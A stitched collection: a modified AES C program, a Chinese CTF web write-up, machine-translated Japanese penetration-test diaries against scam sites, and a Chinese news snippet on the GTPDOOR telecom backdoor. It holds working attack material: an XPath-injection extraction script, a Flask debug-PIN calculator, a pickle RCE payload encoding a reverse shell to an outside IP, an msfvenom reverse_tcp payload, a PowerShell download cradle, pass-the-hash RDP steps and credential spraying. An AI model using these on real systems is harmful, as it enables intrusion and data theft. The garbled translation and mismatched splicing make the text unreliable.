    Tm = (*state)[i][2] ^ (*state)[i][3];    Tm = xtime(Tm);    (*state)[i][2] ^= Tm ^ Tmp;
    Tm = (*state)[i][3] ^ t;    Tm = xtime(Tm);    (*state)[i][3] ^= Tm ^ Tmp;  }}
// Multiply is used to multiply numbers in the field GF(2^8)// Note: The last call to xtime() is unneeded, but often ends up generating a// smaller binary//       The compiler seems to be able to vectorize the operation better this//       way. See https://github.com/kokke/tiny-AES-c/pull/34#if MULTIPLY_AS_A_FUNCTIONstatic uint8_t Multiply(uint8_t x, uint8_t y) {  return (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^          ((y >> 2 & 1) * xtime(xtime(x))) ^          ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^          ((y >> 4 & 1) *           xtime(xtime(xtime(               xtime(x)))))); /* this last call to xtime() can be omitted */}#else#define Multiply(x, y)                                                         \  (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^                                 \   ((y >> 2 & 1) * xtime(xtime(x))) ^                                          \   ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^                                   \   ((y >> 4 & 1) * xtime(xtime(xtime(xtime(x))))))
#endif
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)/*static uint8_t getSBoxInvert(uint8_t num){  return rsbox[num];}*/#define getSBoxInvert(num) (rsbox[(num)])
// MixColumns function mixes the columns of the state matrix.// The method used to multiply may be difficult to understand for the// inexperienced. Please use the references to gain more information.static void InvMixColumns(state_t *state) {  int i;  uint8_t a, b, c, d;  for (i = 0; i < 4; ++i) {    a = (*state)[i][0];    b = (*state)[i][1];    c = (*state)[i][2];    d = (*state)[i][3];
    (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^                     Multiply(d, 0x09);    (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^                     Multiply(d, 0x0d);    (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^                     Multiply(d, 0x0b);    (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^                     Multiply(d, 0x0e);  }}
// The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void InvSubBytes(state_t *state) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[j][i] = getSBoxInvert((*state)[j][i]);    }  }}
static void InvShiftRows(state_t *state) {  uint8_t temp;
  // Rotate first row 1 columns to right  temp = (*state)[3][1];  (*state)[3][1] = (*state)[2][1];  (*state)[2][1] = (*state)[1][1];  (*state)[1][1] = (*state)[0][1];  (*state)[0][1] = temp;
  // Rotate second row 2 columns to right  temp = (*state)[0][2];  (*state)[0][2] = (*state)[2][2];  (*state)[2][2] = temp;
  temp = (*state)[1][2];  (*state)[1][2] = (*state)[3][2];  (*state)[3][2] = temp;
  // Rotate third row 3 columns to right  temp = (*state)[0][3];  (*state)[0][3] = (*state)[1][3];  (*state)[1][3] = (*state)[2][3];  (*state)[2][3] = (*state)[3][3];  (*state)[3][3] = temp;}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
void swap_xxx(state_t *state) {  for (int j = 0; j < 4; j++) {    uint8_t a = (*state)[j][0];    uint8_t b = (*state)[j][1];    uint8_t c = (*state)[j][2];    uint8_t d = (*state)[j][3];    (*state)[j][3] = a;    (*state)[j][2] = b;    (*state)[j][1] = c;    (*state)[j][0] = d;  }}
// Cipher is the main function that encrypts the PlainText.static void Cipher(state_t *state, const uint8_t *RoundKey) {  uint8_t round = 0;
  // Add the First round key to the state before starting the rounds.  AddRoundKey(0, state, RoundKey);
  // There will be Nr rounds.  // The first Nr-1 rounds are identical.  // These Nr rounds are executed in the loop below.  // Last one without MixColumns()  for (round = 1;; ++round) {    if (round != Nr) {      swap_xxx(state);    }    if (round == Nr) {      uint32_t a = *(uint32_t *)(*state)[3];      uint32_t b = *(uint32_t *)(*state)[2];      uint32_t c = *(uint32_t *)(*state)[1];      uint32_t d = *(uint32_t *)(*state)[0];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[1] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[3] = d;    }    SubBytes(state);    ShiftRows(state);    if (round == Nr) {      uint32_t a = *(uint32_t *)(*state)[0];      uint32_t b = *(uint32_t *)(*state)[1];      uint32_t c = *(uint32_t *)(*state)[2];      uint32_t d = *(uint32_t *)(*state)[3];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[3] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[1] = d;      break;    }
    MixColumns(state);
    swap_xxx(state);    AddRoundKey(round, state, RoundKey);
    hexdump((*state), sizeof(*state));  }  hexdump(*state, sizeof(*state));  // Add round key to last round  AddRoundKey(Nr, state, RoundKey);  swap_xxx(state);}
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static void InvCipher(state_t *state, const uint8_t *RoundKey) {  uint8_t round = 0;
  swap_xxx(state);  // Add the First round key to the state before starting the rounds.  AddRoundKey(Nr, state, RoundKey);
  // There will be Nr rounds.  // The first Nr-1 rounds are identical.  // These Nr rounds are executed in the loop below.  // Last one without InvMixColumn()  for (round = (Nr - 1);; --round) {    if (round == (Nr - 1)) {      uint32_t a = *(uint32_t *)(*state)[0];      uint32_t b = *(uint32_t *)(*state)[1];      uint32_t c = *(uint32_t *)(*state)[2];      uint32_t d = *(uint32_t *)(*state)[3];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[3] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[1] = d;    }    InvShiftRows(state);    InvSubBytes(state);    if (round == (Nr - 1)) {      uint32_t a = *(uint32_t *)(*state)[3];      uint32_t b = *(uint32_t *)(*state)[2];      uint32_t c = *(uint32_t *)(*state)[1];      uint32_t d = *(uint32_t *)(*state)[0];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[1] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[3] = d;    }    if (round != (Nr - 1)) {      swap_xxx(state);    }    AddRoundKey(round, state, RoundKey);    if (round == 0) {      break;    }    swap_xxx(state);    InvMixColumns(state);  }}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*****************************************************************************//* Public functions:                                                         *//*****************************************************************************/#if defined(ECB) && (ECB == 1)
void AES_ECB_encrypt(const struct AES_ctx *ctx, uint8_t *buf) {  // The next function call encrypts the PlainText with the Key using AES  // algorithm.  Cipher((state_t *)buf, ctx->RoundKey);}
void AES_ECB_decrypt(const struct AES_ctx *ctx, uint8_t *buf) {  // The next function call decrypts the PlainText with the Key using AES  // algorithm.  InvCipher((state_t *)buf, ctx->RoundKey);}
#endif // #if defined(ECB) && (ECB == 1)
#if defined(CBC) && (CBC == 1)
static void XorWithIv(uint8_t *buf, const uint8_t *Iv) {  uint8_t i;  for (i = 0; i < AES_BLOCKLEN;       ++i) // The block in AES is always 128bit no matter the key size  {    buf[i] ^= Iv[i];  }}
void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  size_t i;  uint8_t *Iv = ctx->Iv;  for (i = 0; i < length; i += AES_BLOCKLEN) {    XorWithIv(buf, Iv);    Cipher((state_t *)buf, ctx->RoundKey);    Iv = buf;    buf += AES_BLOCKLEN;  }  /* store Iv in ctx for next call */  memcpy(ctx->Iv, Iv, AES_BLOCKLEN);}
void AES_CBC_decrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  size_t i;  uint8_t storeNextIv[AES_BLOCKLEN];  for (i = 0; i < length; i += AES_BLOCKLEN) {    memcpy(storeNextIv, buf, AES_BLOCKLEN);    InvCipher((state_t *)buf, ctx->RoundKey);    XorWithIv(buf, ctx->Iv);    memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);    buf += AES_BLOCKLEN;  }}
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note * any IV/nonce should never be reused with the same key */void AES_CTR_xcrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  uint8_t buffer[AES_BLOCKLEN];
  size_t i;  int bi;  for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) {    if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */    {
      memcpy(buffer, ctx->Iv, AES_BLOCKLEN);      Cipher((state_t *)buffer, ctx->RoundKey);
      /* Increment Iv and handle overflow */      for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) {        /* inc will overflow */        if (ctx->Iv[bi] == 255) {          ctx->Iv[bi] = 0;          continue;        }        ctx->Iv[bi] += 1;        break;      }      bi = 0;    }
    buf[i] = (buf[i] ^ buffer[bi]);  }}
#endif // #if defined(CTR) && (CTR == 1)
unsigned char hexData2[176] = {    0x39, 0xBA, 0x3A, 0x0B, 0x1C, 0x27, 0x64, 0xA2, 0x80, 0x98, 0x31, 0x36,    0xEB, 0x9E, 0x77, 0x9E, 0x32, 0x53, 0x31, 0xFF, 0x2E, 0x74, 0x55, 0x5D,    0xAE, 0xEC, 0x64, 0x6B, 0x45, 0x72, 0x13, 0xF5, 0xD4, 0x3D, 0x71, 0x80,    0xFA, 0x49, 0x24, 0xDD, 0x54, 0xA5, 0x40, 0xB6, 0x11, 0xD7, 0x53, 0x43,    0xCE, 0xBF, 0x7F, 0x69, 0x34, 0xF6, 0x5B, 0xB4, 0x60, 0x53, 0x1B, 0x02,    0x71, 0x84, 0x48, 0x41, 0x4D, 0x1C, 0x20, 0x33, 0x79, 0xEA, 0x7B, 0x87,    0x19, 0xB9, 0x60, 0x85, 0x68, 0x3D, 0x28, 0xC4, 0x51, 0x59, 0x07, 0x17,    0x28, 0xB3, 0x7C, 0x90, 0x31, 0x0A, 0x1C, 0x15, 0x59, 0x37, 0x34, 0xD1,    0x6F, 0x92, 0x9D, 0x2F, 0x47, 0x21, 0xE1, 0xBF, 0x76, 0x2B, 0xFD, 0xAA,    0x2F, 0x1C, 0xC9, 0x7B, 0x4E, 0x87, 0x01, 0xB2, 0x09, 0xA6, 0xE0, 0x0D,    0x7F, 0x8D, 0x1D, 0xA7, 0x50, 0x91, 0xD4, 0xDC, 0xC8, 0xD4, 0x80, 0x7A,    0xC1, 0x72, 0x60, 0x77, 0xBE, 0xFF, 0x7D, 0xD0, 0xEE, 0x6E, 0xA9, 0x0C,    0x36, 0xFC, 0x1F, 0xB2, 0xF7, 0x8E, 0x7F, 0xC5, 0x49, 0x71, 0x02, 0x15,    0xA7, 0x1F, 0xAB, 0x19, 0xE2, 0xA0, 0xDF, 0xE6, 0x15, 0x2E, 0xA0, 0x23,    0x5C, 0x5F, 0xA2, 0x36, 0xFB, 0x40, 0x09, 0x2F};
int main() {  struct AES_ctx ctx;  uint8_t key[] =      "\x39\xba\x3a\x0b\x1c\x27\x64\xa2\x80\x98\x31\x36\xeb\x9e\x77\x9e";  uint8_t buf[16] = "FFFFFFFFFFFFFFFF";
  AES_init_ctx(&ctx, key);
  memcpy(ctx.RoundKey, hexData2, sizeof(hexData2));  hexdump(ctx.RoundKey, sizeof(ctx.RoundKey));
  AES_ECB_encrypt(&ctx, buf);  hexdump(buf, sizeof(buf));
  uint8_t bufx[16] =      "\xAA\xFE\xE4\xE0\xC3\xB3\x24\x16\x4E\x5B\xF7\x13\x9E\xE1\xCA\xA0";
  AES_ECB_decrypt(&ctx, bufx);  hexdump(bufx, sizeof(bufx));  return 0;}

四、web

1.题目名称:babyjava

xpath 注入,参考:https://xz.aliyun.com/t/7791#toc-6lthbbqwzeg315460.jpgv5hnqwmvwea15462.jpg
exp:import requestsurl = 'http://eci-2zeck6h5lu4hlf0o62vg.cloudeci1.ichunqiu.com:8888/hello'head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"}strs = '}_{-abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'flag = ''for i in range(1, 100):for j in strs:payload_1 = { # root"xpath":"admin' or substring(name(/*[1]), {}, 1)='{}".format(i,j)}payload_2 = { # user"xpath":"admin'or substring(name(/root/*[1]), {}, 1)='{}".format(i,j)}payload_3 = { # username"xpath":"admin'or substring(name(/root/user/*[2]), {}, 1)='{}".format(i,j)}payload_4 = { # username"xpath":"admin'or substring(name(/root/user/*[1]), {}, 1)='{}".format(i,j)}payload_7 = { # flag"xpath":"1' or substring(/root/user/username[2]/text(),{},1)='{}".format(i,j)}r = requests.post(url=url, headers=head, data=payload_7)if "This information is not available" not in r.text:flag += jprint(flag)breakif "This information is not available" in r.text:breakprint(flag)be4wd4pfuna15465.jpg

2.题目名称:OnlineUnzip

题目源代码如下:import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response

app=Flask(__name__)

def extractFile(filepath):
    extractdir=filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)
    os.system(f'unzip -o {filepath} -d {extractdir}')
    return redirect(url_for('display',extractdir=extractdir))

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
    if re.search(r"\.\.", extractdir, re.M | re.I) != None:
        return "Hacker?"
    else:
        if not os.path.exists(extractdir):
            return make_response("error", 404)
        else:
            if not os.path.isdir(extractdir):
                f = open(extractdir, 'rb')
                response = make_response(f.read())
                response.headers['Content-Type'] = 'application/octet-stream'
                return response
            else:
                fn = os.listdir(extractdir)
                fn = [".."] + fn
                f = open("templates/template.html")
                x = f.read()
                f.close()
                ret = "<h1>文件列表:</h1><br><hr>"
                for i in fn:
                    tpath = os.path.join('/display', extractdir, i)
                    ret += "<a href='" + tpath + "'>" + i + "</a><br>"
                x = x.replace("HTMLTEXT", ret)
                return x


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    ip = request.remote_addr
    uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]

    if not os.path.exists(uploadpath):
        os.makedirs(uploadpath)

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        try:
            upFile = request.files['file']
            print(upFile.filename)
            if os.path.splitext(upFile.filename)[-1]=='.zip':
                filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
                upFile.save(filepath)
                zipDatas = extractFile(filepath)
                return zipDatas
            else:
                return f"{upFile.filename} is not a zip file !"
        except:
            return make_response("error", 404)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)
这里直接利用软链接就可以进行任意文件读取了。按照下面的操作来即可ida3hbjgpt015468.jpgrvkza1jky3l15471.jpg
软链接任意读文件
flag.sh /etc/passwd
#!/usr/bin/env bashrm flagrm flag.zipln -s $1 flagzip --symlinks flag.zip flagskovnssspcw15537.jpg发现 ffffl111l1a44a4gggetngbcqy5bj15542.jpg可以看到这里是开启debug的。那么可以算pin来打huwkucibco315547.jpg可以参考这个师傅算pin的文章https://blog.csdn.net/weixin_54648419/article/details/123632203读取发现无权限, python3.8,所以可以算 pin 码gp4pylsrtq115551.jpg算 pin
import hashlibfrom itertools import chainprobably_public_bits = ['ctf'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到]private_bits = ['95529894978',# /sys/class/net/eth0/address 16 进 制 转 10 进 制00:16:3e:06:84:42#/etc/machine-id + /proc/self/cgroup'96cec10d3d9307792745ec3b85c896201d32e75cee611384a0f09556e07ef291176ed1454d035521b7e624689d20583d']h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)读取 flag上面算machine_id有点小坑是,算pin的好多文章描述的都是(每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取),然后这里三个文件都有。最后各种匹配都不行。看了下算machine_id的源码,其实就是把/etc/machine-id和/proc/self/cgroup拼接起来就行了

qwhv4okjyeu15556.jpg

3.easypickle

题目源码:import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)首先我们如果要反序列化的化,就要伪造session让自己是admin。那么我们首先就需要获取到密钥。这里的密钥是伪随机的。我们生成字典利用工具爆破出密钥即可numbers_str = [str(x) for x in range(10)]
a=['a','b','c','d','e','f']
a+= numbers_str
file=open("C:/Users/Administrator/Desktop/easypickle/zidian.txt",'w')
for b in a:
    for c in a:
        for d in a:
            for e in a:
                file.write("{}{}{}{}\n".format(b,c,d,e))
korat3tsdyy15559.jpg然后利用flask-unsign工具直接跑就行了(跑得不是一般的快flask-unsign --unsign --cookie "eyJ1c2VyIjoiYWRtaW4ifQ.YyVFUA.RSTsbveITHMSD9v0MTLMswCryRc" --wordlist "C:\Users\Administrator\Desktop\easypickle\zidian.txt" --no-literal-eval
[*] Session decodes to: {'user': 'admin'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 24960 attempts
b'6174qixmwf3h1sv15562.jpg
黑名单这里的逻辑是把我们的序列化的数据解码后正则,再替换,只要替换后的payload过了waf就可以了。最后反序列化的是替换前的。那么这里其实是可以用o指令,只是也要把s指令带上,那么替换之后就变成了Os然后是可以过waf的,最后反序列化的是os.s的指令如下。那么我们只需要把s指令和o指令合理结合即可
xocezbtklls15565.jpg本地测试一下import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''

code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code)
大家可以参考一下这篇文章来补一下pickle的指令https://xz.aliyun.com/t/7436#toc-6,然后像文章里面一样利用pickle的工具库来分析payloadgalxtx5t3rl15568.jpgC:\Users\Administrator\Desktop\easypickle\venv\Scripts\python.exe C:/Users/Administrator/Desktop/easypickle/3.py 
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''

    0: (    MARK
    1: S        STRING     'shanghe1'
   12: S        STRING     'shanghe'  #这里的意思是压进去第一个字典
   23: d        DICT       (MARK at 0)
   24: (    MARK
   25: S        STRING     'shanghe2'
   36: S        STRING     'shanghe'
   47: d        DICT       (MARK at 24)  #再往栈里面压进去第二个字典
   48: (    MARK
   49: c        GLOBAL     'os system'
   60: S        STRING     'dir'
   67: o        OBJ        (MARK at 48)  #这里用我们逃出来的o指令进行命令执行
   68: s    SETITEM   #最后s的指令就会把 o指令执行后的内容以及shanghe2的键值对压进去shanghe1的字典里面,作为新的键值对。
   69: .    STOP
highest protocol among opcodes = 1
最后直接拿flag即可。也可以编码用v指令任意命令执行反弹shell都可以import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\ndS'shanghe'\n(cos\nsystem\nS'cat f* >xxx'os.'''
code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code))
然后伪造即可替换原来的sesison,然后访问admin页面即可
python3  flask_session_cookie_manager3.py encode -s "6174"  -t "{'user': 'admin','ser_data':b'KFMnc2hhbmdoZScKUydzaGFuZ2hlJwpkUydzaGFuZ2hlJwooY29zCnN5c3RlbQpWXHUwMDYyXHUwMDYxXHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDYzXHUwMDIwXHUwMDI3XHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDY5XHUwMDIwXHUwMDNFXHUwMDI2XHUwMDIwXHUwMDJGXHUwMDY0XHUwMDY1XHUwMDc2XHUwMDJGXHUwMDc0XHUwMDYzXHUwMDcwXHUwMDJGXHUwMDM0XHUwMDM3XHUwMDJFXHUwMDM5XHUwMDM2XHUwMDJFXHUwMDM0XHUwMDMxXHUwMDJFXHUwMDMxXHUwMDMwXHUwMDMzXHUwMDJGXHUwMDMxXHUwMDMzXHUwMDMzXHUwMDM3XHUwMDIwXHUwMDMwXHUwMDNFXHUwMDI2XHUwMDMxXHUwMDI3Cm9zLg=='}



参考连接:https://mp.weixin.qq.com/s/UucoNpyYoopJ4X7V_CmpiA http://www.fzwjscj.xyz/index.php/archives/48/ Arr3stY0u战队wp
附件下载:链接:https://pan.baidu.com/s/1h9TST5S8zPs4EY5jRgZqDA   提取码:2pay 

序文

私は映画を見るのが好きですが、無料でセックスをするのが好きなので、映画やテレビのサイトをよく見て、時にはいくつかの怠zyな広告がポップアップします。最近、私は公式アカウントをあまり更新していないので、Pを作るのが面倒な広告を見つけました。スケールは比較的大きいため、コーディングに真剣です。

簡単な要約

Lazy Video ---外部Xステーションの再生ソース图片 2を引用します。 Xを選択します----バックエンドは、都市とBaiduからの写真のすべての厄介な紹介です。偽物3。バックエンドデータを投稿しています图片

実用的な戦闘体験

ドメイン名検索、XXエンターテインメント、およびソースコードの波に囲まれた壁に取り付けられた背景を見つけました。同様のソースコードと構築されたチュートリアルを見つけました。サイトのIPが漏れました。一般的なサイトのデモンストレーションには、デモンストレーションアカウントのパスワードバックエンドとさまざまな指紋機能が添付されています。图片デモサイトの指紋およびデフォルトアカウントパスワードを介して、同じタイプのサイトのバッチを見つけました。基本的に、私はカラーレイジービデオを使用して、ほうれん草を誘導しました。图片背景宝くじプリセット、すべての詐欺。この記事をあなたの色の怠zyな友達と共有したいと思っています。图片初期段階では、デモサイトの指紋を見つけるためのソースコードを見つける方法を見つけました。一部のサイトもありますが、これは通常の浸透方法です。まず、アカウントを登録し、ユーザー名をカスタマイズしてXSコードに直接配置できるプロンプトを確認します。それはお金の無駄であり、背景を引き起こすのは困難です。背景をトリガーするのは困難です。图片バックグラウンドでのユーザーディスプレイはこのようなものであり、ユーザーの詳細をクリックすると图片 图片もトリガーされます。图片

元のリンクから転載:https://mp.weixin.qq.com/s/iiyt-m1ul0upxvocmwcfag

0x00はじめに

私は退屈し、簡単なテストのためにオンラインでほうれん草を見つけてメモを取りました。大物は軽く噴出した。欠点がある場合はアドバイスしてください。

0x01弱いパスワード

ウェブサイトにアクセスするのはログインページです。検証コードがなければ、BPは直接有効になります。弱いパスワード管理者/123456が正常に公開され、背景に直接入ります。

图片

0x02注入して許可を取得

私は多くの機能ポイントを調べ、1つの機能ポイントでアップロードインターフェイスを見つけ、ファイルをアップロードしようとしましたが、アップロードできないことがわかりました。あきらめて見続けることを選択します。特定のhttp://url/groupmember.aspx?gid=パラメーターに単一の引用符を追加すると、エラーが直接報告されます。これはSQL注入後に来ていませんか?

图片

それを行い、直接sqlmap。

图片

MSSQLおよびDBAアクセス許可として、直接-S-Shell

图片

オンラインMSF

すでに通常の許可を取得している次のステップは、MSFを起動して権利を増やすことです。 MSFはPowerShellスクリプトを生成し、Webサイトディレクトリに配置します。

msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=x.x.x.x lport=8888 -f psh -reflection xx.ps1 图片

VPS Enable Monitoring 图片

PowerShellを使用してオンラインSESSIONPOWERSHELL.EXE -NOP -W HIDDEN -C 'IEX((new -Object.WebClient).DownLoadString(' http://x.x.x.x/xx.ps1 ')' 图片

URLスプライシングスタッキングを介してPowerShellを実行したい場合は、問題が発生します。これは単一の引用閉鎖の問題です。 PowerShellをエンコードして、単一の引用問題をバイパスできるようにすることができます。これが良いウェブサイトです。

https://r0yanx.com/tools/java_exec_encode/Elevation of Rights

セッションが開始され、次の目標はシステム許可を取得することです。幸いなことに、GetSystemはシステム許可を直接取得できます。権利を引き上げる必要がある場合、Tudouファミリーは権利の促進を推奨します。実際の戦闘の成功率は非常に高く、それに影響を与えるサーバーバージョンはたくさんあります。图片

プロセスを移行して、プロセスが崩壊しないようにします。图片

サーバーへのリモートログイン

サーバーは、システムの権限があり、2012年のシステムであるため、ポート3389を開設したことがわかりました。平易なテキストのパスワードが2008年以上のバージョンでキャプチャされていない場合、AdminNistratorパスワードを直接変更します。 (実際の戦闘で管理者パスワードを直接変更することはお勧めしません)图片

图片

ハッシュを使用して、管理者アカウントにリモートでログインします

プレーンテキストパスワードを取得できないのはWin2012であるため、管理者パスワードを直接変更するのは少し不適切です。管理者NTLMを取得して、リモートでマシンにログインしてみてください。 (それは同じではありません、それはただ一つのアイデアを提供するだけです)图片

Hashを使用してRDPへのリモートログインは、「制限された管理モード」を有効にする必要があります 'HKLM \ System \ CurrentControlset \ Control \ lsa' /vdisable -restricedAdmin /T reg_dword /d 000000 /f //オープン制限管理管理モデレグクエリ 'hklm str 'disabletedadmin'を見つけます ' StrSTR 'disableStrictiondadmin' //0x0が有効になっているかどうかを確認します图片を意味します

ハッシュリモート管理者デスクトップ图片を正常に使用しました

图片

04

0x03その他

初期段階では、ポート1433が開いていることがわかりました。そのため、データベース構成ファイルを探してデータベースにログインしました。

图片

私はFOFAを調べて、かなり多くの資産があることを発見しました、そして、それらの多くはオープンポート1433を持っています。私は同じ人によって展開されたウェブサイトがあると思います。取得したパスワードを使用して、これらの資産のポート1433を爆破し、すべてSA許可を使用していくつかのデータベースを正常にヒットしようとしました。仕上げる。

图片

元のリンクから転載:https://mp.weixin.qq.com/s/kj55hbzmc9jf6xmbzxwu4w3359xz.aliyun.com/t/12501

ターゲットサイトページを取得します

图片

それが始まる前にあきらめる準備をしてください

次に、右上隅にポイントモールを見てみましょう。悲しい心でクリックしました

图片

私はこのページを見て、ドアを叩き、10分間喫煙に出かけました[なぜ私が前にそれをしなかったのか尋ねないでください

情報の収集を開始します

このポイントストアを入手して、ドメイン名をFOFAに入れます

图片

実際のIPを取得した後、Baota BackEndログインパネル图片を見つけました

次に、ドメイン名/IPを使用してディレクトリ[Yujianの超大規模な辞書]をスキャンし、言語バーを調べて確認します。どのスクリプト言語ドメイン名が直接index.php [pages]、index.jsp [404]、index.asp [404]、ok、phpに連絡して背景を取得してください

图片

このようなページが非常に少ない場合は、試してみる機能を見つけるために運を試してみてください

图片

FOFAで検索します

图片

多くのページが表示されてから、Baidu 图片で検索してください

このフレームワークはThinkPhpに基づいて開発されていることが確認されています[TPフレームワークの脆弱性を攻撃に使用する場合、ここにアイデアがあります:があります。成功しない場合は、コード監査に発見されたCMSを使用できます。上記のbaotaログインパネルを見つけたという事実に基づいて、任意のファイルを監査してBaotaユーザー名とパスワードを読むことができます。タスクを計画します] TP脆弱性スキャンツールを使用してPOC 图片を取得します

デバッグエラーはTP5.0.1で、検索しました。ログパスを見つけました。ログ包含を使用しようとしましたが、失敗しました。その後、特定の数に到達し、PHPINFOページが特定のKBを占有すると、彼のログがクリアされることがわかりました。したがって、彼のログをげっぷを介してクリアしてから、URLエンコードを?phpphpinfo();//[脆弱性概要ファイル包含] 图片に変換する必要がありました。

图片

送信すると、ログファイルがげっぷで表示されなかった直後に消えます。この時点で、最初のPOCを振り返ってください。 POCが成功すると、以下にデバッグ情報が表示されます。图片

したがって、実行が成功したときにRAWに焦点を当て、主要な機能を抽出するために次の情報が表示されます图片

重要な機能を抽出し、RAW 图片で検索します

图片

したがって、phpphpinfo();含まれていますが、これら2つの機能が繰り返されます。操作は現在ログに書き込まれ、パケットをキャッチし、URLの%3c?php%20phpinfo();%3eをphp phpinfo();に変換します。ここでは、そのログが一定の量に達すると、クリアされ、悪意のあるコードが含まれないことに注意してください。 phpphpinfo(); phpphpinfo();送信するときは、ログにアクセスして、存在するかどうかを確認する必要があります。phpphpinfo();ここで3回試しました。機能を正常に含めることは問題ではありません(正常に含まれています)。残りのけいれんは言及されていません。簡単すぎます。含まれて実行されている限り、GetShellは問題ではありません。

图片

元のリンクから転載:https://mp.weixin.qq.com/s/ve5qx0fi_0owvq-6uc9xg

安全研究人員發現了一個專為移動運營商網絡設計的新的Linux 後門,名為GTPDOOR。 GTPDOOR 背後的威脅分子以GPRS 漫遊交換(GRX) 附近的系統為目標,例如SGSN、GGSN 和P-GW,這些系統可以為攻擊者提供對電信核心網絡的直接訪問。

GRX 是移動電信的一個組件,可促進跨不同地理區域和網絡的數據漫遊服務。服務GPRS 支持節點(SGSN)、網關GPRS 支持節點(GGSN) 和P-GW(分組數據網絡網關(用於4G LTE))是移動運營商網絡基礎設施內的組件,每個組件在移動通信中發揮不同的作用。

